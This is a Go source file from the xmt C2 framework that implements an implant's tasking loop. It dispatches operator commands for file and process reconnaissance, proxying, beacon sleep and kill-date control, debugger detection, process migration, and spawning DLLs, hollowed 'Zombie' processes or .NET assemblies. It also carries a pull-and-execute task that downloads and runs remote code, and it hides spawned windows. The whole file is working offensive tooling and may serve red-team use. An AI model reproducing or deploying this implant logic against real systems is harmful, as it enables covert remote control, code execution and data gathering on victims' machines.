github.com/iDigitalFlame/xmt@v0.5.4/c2/mux.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package c2
    18  
    19  import (
    20  	"context"
    21  	"io"
    22  	"os"
    23  	"syscall"
    24  	"time"
    25  
    26  	"github.com/iDigitalFlame/xmt/c2/cfg"
    27  	"github.com/iDigitalFlame/xmt/c2/cout"
    28  	"github.com/iDigitalFlame/xmt/c2/task"
    29  	"github.com/iDigitalFlame/xmt/cmd"
    30  	"github.com/iDigitalFlame/xmt/cmd/filter"
    31  	"github.com/iDigitalFlame/xmt/com"
    32  	"github.com/iDigitalFlame/xmt/data"
    33  	"github.com/iDigitalFlame/xmt/device"
    34  	"github.com/iDigitalFlame/xmt/device/local"
    35  	"github.com/iDigitalFlame/xmt/man"
    36  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    37  	"github.com/iDigitalFlame/xmt/util/xerr"
    38  )
    39  
    40  const fourOhFour = "0x404"
    41  
    42  const (
    43  	_ uint8 = 1 << iota
    44  	flagNoReturnOutput
    45  	flagStopOnError
    46  )
    47  
    48  var (
    49  	_ runnable = (*cmd.DLL)(nil)
    50  	_ runnable = (*cmd.Zombie)(nil)
    51  	_ runnable = (*cmd.Process)(nil)
    52  	_ runnable = (*cmd.Assembly)(nil)
    53  )
    54  
    55  var errInvalidTask = xerr.Sub(fourOhFour, 0xFE)
    56  
    57  func muxHandleSpawnAsync(s *Session, n *com.Packet) {
    58  	if bugtrack.Enabled {
    59  		defer bugtrack.Recover("c2.muxHandleSpawnAsync()")
    60  	}
    61  	w := &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID}
    62  	muxHandleSend(s, n, w, muxHandleSpawnSync(s, n, w))
    63  	n.Clear()
    64  	w, n = nil, nil
    65  }
    66  func muxHandleScriptAsync(s *Session, n *com.Packet) {
    67  	if bugtrack.Enabled {
    68  		defer bugtrack.Recover("c2.muxHandleScriptAsync()")
    69  	}
    70  	w := &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID}
    71  	muxHandleSend(s, n, w, muxHandleScript(s, n, w))
    72  	n.Clear()
    73  	w, n = nil, nil
    74  }
    75  func defaultClientMux(s *Session, n *com.Packet) bool {
    76  	if n.ID < task.MvRefresh || n.ID == RvResult {
    77  		return false
    78  	}
    79  	if cout.Enabled {
    80  		s.log.Debug(`[%s/MuX] Received packet %s.`, s.ID, n)
    81  	}
    82  	switch {
    83  	case n.ID == task.MvSpawn:
    84  		go muxHandleSpawnAsync(s, n)
    85  		return true
    86  	case n.ID == task.MvScript:
    87  		go muxHandleScriptAsync(s, n)
    88  		return true
    89  	case n.ID > RvResult:
    90  		go muxHandleExternalAsync(s, n)
    91  		return true
    92  	}
    93  	var (
    94  		w   = &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID}
    95  		err = muxHandleInternal(s, n, w)
    96  	)
    97  	if err == nil && n.ID == task.MvMigrate {
    98  		if w.Clear(); cout.Enabled {
    99  			s.log.Info("[%s/Mux] Migrate Job %d passed, not sending response back!", s.ID, n.Job)
   100  		}
   101  		n.Clear()
   102  		n, w = nil, nil
   103  		return true
   104  	}
   105  	muxHandleSend(s, n, w, err)
   106  	n.Clear()
   107  	w, n = nil, nil
   108  	return true
   109  }
   110  func muxHandleExternalAsync(s *Session, n *com.Packet) {
   111  	if bugtrack.Enabled {
   112  		defer bugtrack.Recover("c2.muxHandleExternalAsync()")
   113  	}
   114  	var (
   115  		w = &com.Packet{ID: RvResult, Job: n.Job, Device: s.ID}
   116  		t = task.Mappings[n.ID]
   117  	)
   118  	if t == nil {
   119  		if w.WriteString(fourOhFour); cout.Enabled {
   120  			s.log.Warning("[%s/MuX] Received Packet ID 0x%X with no Task mapping!", s.ID, n.ID)
   121  		}
   122  		w.Flags |= com.FlagError
   123  		muxHandleSend(s, n, w, nil)
   124  		n.Clear()
   125  		n = nil
   126  		return
   127  	}
   128  	if n.ID == task.TvWait {
   129  		if cout.Enabled {
   130  			s.log.Warning("[%s/MuX] Skipping non-Script WAIT Task!", s.ID)
   131  		}
   132  		muxHandleSend(s, n, w, nil)
   133  		n.Clear()
   134  		n = nil
   135  		return
   136  	}
   137  	if cout.Enabled {
   138  		s.log.Trace("[%s/MuX] Starting async Task for Job %d.", s.ID, n.Job)
   139  	}
   140  	muxHandleSend(s, n, w, t(s.ctx, n, w))
   141  	n.Clear()
   142  	t, n = nil, nil
   143  }
   144  func muxHandleScript(s *Session, n, w *com.Packet) error {
   145  	if cout.Enabled {
   146  		s.log.Trace("[%s/MuX] Starting Script Task for Job %d.", s.ID, n.Job)
   147  	}
   148  	o, err := n.Uint8()
   149  	if err != nil {
   150  		return err
   151  	}
   152  	var (
   153  		b = buffers.Get().(*data.Chunk)
   154  		e = o&flagStopOnError != 0
   155  		r = o&flagNoReturnOutput == 0
   156  		d []byte
   157  		z uint8
   158  		v com.Packet
   159  		t task.Tasker
   160  	)
   161  loop:
   162  	for err = nil; err == nil; b.Reset() {
   163  		v.Reset()
   164  		if err = n.ReadUint8(&v.ID); err != nil {
   165  			break
   166  		}
   167  		if err = n.ReadBytes(&d); err != nil && err != io.EOF {
   168  			break
   169  		}
   170  		v.Grow(len(d))
   171  		v.Write(d)
   172  		w.WriteUint8(v.ID)
   173  		switch d, err = nil, nil; {
   174  		case v.ID == task.MvScript:
   175  			if cout.Enabled {
   176  				s.log.Warning("[%s/MuX] Attempted to run a Script packed in Script!", s.ID)
   177  			}
   178  			if e {
   179  				err = syscall.EINVAL
   180  				break loop
   181  			}
   182  			w.WriteBool(false)
   183  			w.WriteString(syscall.EINVAL.Error())
   184  			continue loop
   185  		case v.ID == task.MvSpawn:
   186  			err = muxHandleSpawnSync(s, &v, b)
   187  		case v.ID < RvResult:
   188  			switch err = muxHandleInternal(s, &v, b); {
   189  			case err == nil && v.ID == task.MvRefresh:
   190  				z = infoRefresh
   191  			case err == nil && (v.ID == task.MvTime || v.ID == task.MvProfile):
   192  				z = infoSync
   193  			}
   194  		default:
   195  			if t = task.Mappings[v.ID]; t == nil {
   196  				if e {
   197  					err = errInvalidTask
   198  					break loop
   199  				}
   200  				w.WriteBool(false)
   201  				w.WriteString(fourOhFour)
   202  				continue loop
   203  			}
   204  			err = t(s.ctx, &v, b)
   205  		}
   206  		if err != nil {
   207  			if !e {
   208  				w.WriteBool(false)
   209  				w.WriteString(err.Error())
   210  				err = nil
   211  				continue loop
   212  			}
   213  			break loop
   214  		}
   215  		if w.WriteBool(true); r && b.Size() > 0 {
   216  			w.WriteBytes(b.Payload())
   217  			continue loop
   218  		}
   219  		w.WriteInt8(0)
   220  	}
   221  	b.Clear()
   222  	v.Clear()
   223  	// Update the server when a MvTime/MvRefresh/MvProfile was in a script.
   224  	// This packet is a special type that is associated with a Job. If the Job
   225  	// does not exist, the Packet is disregarded.
   226  	if n.Clear(); z > 0 {
   227  		s.writeDeviceInfo(infoSync, w)
   228  		q := &com.Packet{ID: SvResync, Job: n.Job, Device: s.ID}
   229  		q.WriteUint8(z)
   230  		s.writeDeviceInfo(z, q)
   231  		s.queue(q)
   232  	}
   233  	if buffers.Put(b); err == io.EOF {
   234  		return nil
   235  	}
   236  	return err
   237  }
   238  func muxHandleSend(s *Session, n, w *com.Packet, e error) {
   239  	if e != nil {
   240  		w.Clear()
   241  		w.Flags |= com.FlagError
   242  		if w.WriteString(e.Error()); cout.Enabled {
   243  			s.log.Error("[%s/MuX] Error during Job %d runtime: %s!", s.ID, n.Job, e.Error())
   244  		}
   245  	} else if cout.Enabled {
   246  		s.log.Trace("[%s/MuX] Task with Job %d completed!", s.ID, n.Job)
   247  	}
   248  	// NOTE(dij): For now, we're gonna let these block.
   249  	//            I'll track and see if they should throw errors instead.
   250  	s.write(true, w)
   251  }
   252  func muxHandleInternal(s *Session, n *com.Packet, w data.Writer) error {
   253  	switch n.ID {
   254  	case task.MvPwd:
   255  		d, err := syscall.Getwd()
   256  		if err != nil {
   257  			return err
   258  		}
   259  		w.WriteString(d)
   260  		return nil
   261  	case task.MvCwd:
   262  		d, err := n.StringVal()
   263  		if err != nil {
   264  			return err
   265  		}
   266  		return syscall.Chdir(device.Expand(d))
   267  	case task.MvList:
   268  		d, err := n.StringVal()
   269  		if err != nil {
   270  			return err
   271  		}
   272  		if len(d) == 0 {
   273  			d = "."
   274  		} else {
   275  			d = device.Expand(d)
   276  		}
   277  		s, err := os.Stat(d)
   278  		if err != nil {
   279  			return err
   280  		}
   281  		if !s.IsDir() {
   282  			w.WriteUint32(1)
   283  			w.WriteString(s.Name())
   284  			w.WriteInt32(int32(s.Mode()))
   285  			w.WriteInt64(s.Size())
   286  			w.WriteInt64(s.ModTime().Unix())
   287  			return nil
   288  		}
   289  		var l []data.DirEntry
   290  		if l, err = data.ReadDir(d); err != nil {
   291  			return err
   292  		}
   293  		w.WriteUint32(uint32(len(l)))
   294  		for i, m := uint32(0), uint32(len(l)); i < m; i++ {
   295  			w.WriteString(l[i].Name())
   296  			if x, err := l[i].Info(); err == nil {
   297  				w.WriteInt32(int32(x.Mode()))
   298  				w.WriteInt64(x.Size())
   299  				w.WriteInt64(x.ModTime().Unix())
   300  				continue
   301  			}
   302  			w.WriteInt32(0)
   303  			w.WriteInt64(0)
   304  			w.WriteInt64(0)
   305  		}
   306  		return nil
   307  	case task.MvTime:
   308  		t, err := n.Uint8()
   309  		if err != nil {
   310  			return err
   311  		}
   312  		switch t {
   313  		case timeSleepJitter:
   314  			j, err1 := n.Int8()
   315  			if err1 != nil {
   316  				return err1
   317  			}
   318  			d, err1 := n.Int64()
   319  			if err1 != nil {
   320  				return err1
   321  			}
   322  			switch {
   323  			case j == -1:
   324  				// NOTE(dij): This handles a special case where Script packets are
   325  				//            used to set the sleep/jitter since they don't have access
   326  				//            to the previous values.
   327  				//            A packet with a '-1' Jitter value will be ignored.
   328  			case j > 100:
   329  				s.jitter = 100
   330  			case j < 0:
   331  				s.jitter = 0
   332  			default:
   333  				s.jitter = uint8(j)
   334  			}
   335  			if d > 0 {
   336  				// NOTE(dij): Ditto here, except for sleep. Anything less than zero
   337  				//            will work.
   338  				s.sleep = time.Duration(d)
   339  			}
   340  		case timeKillDate:
   341  			u, err1 := n.Int64()
   342  			if err1 != nil {
   343  				return err1
   344  			}
   345  			if u == 0 {
   346  				s.kill = time.Time{}
   347  			} else {
   348  				s.kill = time.Unix(u, 0)
   349  			}
   350  		case timeWorkHours:
   351  			var w cfg.WorkHours
   352  			if err = w.UnmarshalStream(n); err != nil {
   353  				return err
   354  			}
   355  			if s.work != nil {
   356  				s.Wake()
   357  			}
   358  			if w.Empty() {
   359  				s.work = nil
   360  			} else {
   361  				s.work = &w
   362  			}
   363  		}
   364  		s.writeDeviceInfo(infoSync, w)
   365  		return nil
   366  	case task.MvProxy:
   367  		var (
   368  			v string
   369  			r uint8
   370  		)
   371  		if err := n.ReadString(&v); err != nil {
   372  			return err
   373  		}
   374  		if err := n.ReadUint8(&r); err != nil {
   375  			return err
   376  		}
   377  		if r == 0 {
   378  			if i := s.Proxy(v); i != nil {
   379  				if err := i.Close(); err != nil {
   380  					return err
   381  				}
   382  				s.writeDeviceInfo(infoProxy, w)
   383  				return nil
   384  			}
   385  			return os.ErrNotExist
   386  		}
   387  		var (
   388  			b string
   389  			k []byte
   390  		)
   391  		if err := n.ReadString(&b); err != nil {
   392  			return err
   393  		}
   394  		if err := n.ReadBytes(&k); err != nil {
   395  			return err
   396  		}
   397  		p, err := parseProfile(k)
   398  		if err != nil {
   399  			return xerr.Wrap("parse Profile", err)
   400  		}
   401  		if r == 1 {
   402  			if i := s.Proxy(v); i != nil {
   403  				if err = i.Replace(b, p); err != nil {
   404  					return err
   405  				}
   406  				s.writeDeviceInfo(infoProxy, w)
   407  				return nil
   408  			}
   409  			return os.ErrNotExist
   410  		}
   411  		if _, err = s.NewProxy(v, b, p); err != nil {
   412  			return err
   413  		}
   414  		s.writeDeviceInfo(infoProxy, w)
   415  		return nil
   416  	case task.MvMounts:
   417  		m, err := device.Mounts()
   418  		if err != nil {
   419  			return err
   420  		}
   421  		data.WriteStringList(w, m)
   422  		return nil
   423  	case task.MvWhoami:
   424  		u, err := device.Whoami()
   425  		if err != nil {
   426  			return err
   427  		}
   428  		e, _ := os.Executable()
   429  		w.WriteString(u)
   430  		w.WriteString(e)
   431  		return nil
   432  	case task.MvMigrate:
   433  		var (
   434  			k bool
   435  			i string
   436  			p []byte
   437  		)
   438  		if err := n.ReadBool(&k); err != nil {
   439  			return err
   440  		}
   441  		if err := n.ReadString(&i); err != nil {
   442  			return err
   443  		}
   444  		if err := n.ReadBytes(&p); err != nil {
   445  			return err
   446  		}
   447  		e, v, err := readCallable(s.ctx, true, n)
   448  		if err != nil {
   449  			return err
   450  		}
   451  		if _, err = s.MigrateProfile(k, i, p, n.Job, spawnDefaultTime, e); err != nil {
   452  			if len(v) > 0 {
   453  				os.Remove(v)
   454  			}
   455  			return err
   456  		}
   457  		return nil
   458  	case task.MvRefresh:
   459  		if cout.Enabled {
   460  			s.log.Debug("[%s] Triggering a device refresh.", s.ID)
   461  		}
   462  		if err := local.Device.Refresh(); err != nil {
   463  			return err
   464  		}
   465  		s.Device = local.Device.Machine
   466  		s.writeDeviceInfo(infoRefresh, w)
   467  		return nil
   468  	case task.MvProfile:
   469  		b, err := n.Bytes()
   470  		if err != nil {
   471  			return err
   472  		}
   473  		p, err := parseProfile(b)
   474  		if err != nil {
   475  			return xerr.Wrap("parse Profile", err)
   476  		}
   477  		if s.swap = p; cout.Enabled {
   478  			s.log.Debug("[%s] Setting new profile, switch will happen on next connect cycle.", s.ID)
   479  		}
   480  		s.writeDeviceInfo(infoSync, w)
   481  		return nil
   482  	case task.MvProcList:
   483  		e, err := cmd.Processes()
   484  		if err != nil {
   485  			return err
   486  		}
   487  		if err = w.WriteUint32(uint32(len(e))); err != nil {
   488  			return err
   489  		}
   490  		if len(e) == 0 {
   491  			return nil
   492  		}
   493  		for i, m := uint32(0), uint32(len(e)); i < m; i++ {
   494  			if err = e[i].MarshalStream(w); err != nil {
   495  				return err
   496  			}
   497  		}
   498  		return nil
   499  	case task.MvCheckDebug:
   500  		w.WriteBool(device.IsDebugged())
   501  		return nil
   502  	}
   503  	// Shouldn't happen
   504  	return errInvalidTask
   505  }
   506  func muxHandleSpawnSync(s *Session, n *com.Packet, w data.Writer) error {
   507  	if cout.Enabled {
   508  		s.log.Info("[%s/MuX] Starting Spawn Task for Job %d.", s.ID, n.Job)
   509  	}
   510  	var (
   511  		i   string
   512  		p   []byte
   513  		err = n.ReadString(&i)
   514  	)
   515  	if err != nil {
   516  		return err
   517  	}
   518  	if err = n.ReadBytes(&p); err != nil {
   519  		return err
   520  	}
   521  	e, v, err := readCallable(s.ctx, false, n)
   522  	if err != nil {
   523  		return err
   524  	}
   525  	var c uint32
   526  	if c, err = s.SpawnProfile(i, p, 0, e); err != nil {
   527  		if len(v) > 0 {
   528  			os.Remove(v)
   529  		}
   530  		return err
   531  	}
   532  	w.WriteUint32(c)
   533  	return nil
   534  }
   535  func readCallable(x context.Context, m bool, r data.Reader) (cmd.Runnable, string, error) {
   536  	var (
   537  		f   *filter.Filter
   538  		err = filter.UnmarshalStream(r, &f)
   539  	)
   540  	if err != nil {
   541  		return nil, "", err
   542  	}
   543  	var (
   544  		e cmd.Runnable
   545  		j bool
   546  		v string
   547  		t uint8
   548  	)
   549  	if err = r.ReadUint8(&t); err != nil {
   550  		return nil, "", err
   551  	}
   552  	// NOTE(dij): We're using the Background context here as we don't want
   553  	//            cancellation for this process as we're creating it to
   554  	//            succeed us (or be independent).
   555  	switch t {
   556  	case task.TvDLL:
   557  		var d *cmd.DLL
   558  		if d, _, j, err = task.DLLUnmarshal(context.Background(), r); err != nil {
   559  			return nil, "", err
   560  		}
   561  		if d.Timeout = 0; j {
   562  			v = d.Path
   563  		}
   564  		e = d
   565  	case task.TvZombie:
   566  		var z *cmd.Zombie
   567  		if z, _, err = task.ZombieUnmarshal(context.Background(), r); err != nil {
   568  			return nil, "", err
   569  		}
   570  		z.Timeout = 0
   571  		// NOTE(dij): I'm assuming these would be /wanted/ yes?
   572  		z.SetNoWindow(true)
   573  		z.SetWindowDisplay(0)
   574  		e = z
   575  	case task.TvExecute:
   576  		var p *cmd.Process
   577  		if p, _, err = task.ProcessUnmarshal(context.Background(), r); err != nil {
   578  			return nil, "", err
   579  		}
   580  		p.Timeout = 0
   581  		// NOTE(dij): I'm assuming these would be /wanted/ yes?
   582  		p.SetNoWindow(true)
   583  		p.SetWindowDisplay(0)
   584  		e = p
   585  	case task.TvAssembly:
   586  		var a *cmd.Assembly
   587  		if a, _, err = task.AssemblyUnmarshal(context.Background(), r); err != nil {
   588  			return nil, "", err
   589  		}
   590  		a.Timeout = 0
   591  		e = a
   592  	case task.TvPullExecute:
   593  		var u, q string
   594  		if err = r.ReadString(&u); err != nil {
   595  			return nil, "", err
   596  		}
   597  		if err = r.ReadString(&q); err != nil {
   598  			return nil, "", err
   599  		}
   600  		// NOTE(dij): We HAVE to set the Context as the parent to avoid
   601  		//            io locking issues. *shrug* Luckily, the 'Release' function
   602  		//            does it job!
   603  		if e, v, err = man.WebExec(x, nil, u, q); err != nil {
   604  			return nil, "", err
   605  		}
   606  	default:
   607  		if v, err = os.Executable(); err != nil {
   608  			return nil, "", err
   609  		}
   610  		c := cmd.NewProcessContext(context.Background(), v)
   611  		c.SetNoWindow(true)
   612  		c.SetWindowDisplay(0)
   613  		e = c
   614  	}
   615  	if e.SetParent(f); !j {
   616  		v = ""
   617  	}
   618  	// Check if we are Migrating (m == true) and if we have an empty filter first.
   619  	if m && f == nil || f.Empty() {
   620  		if _, ok := e.(*cmd.Assembly); ok {
   621  			// Refusing to run Migrate that is NOT A SEPARATE process WITHOUT A
   622  			// non-empty/nil Filter.
   623  			// This will cause migrate to go through and then crash.
   624  			return nil, "", filter.ErrNoProcessFound
   625  		}
   626  	}
   627  	return e, v, nil
   628  }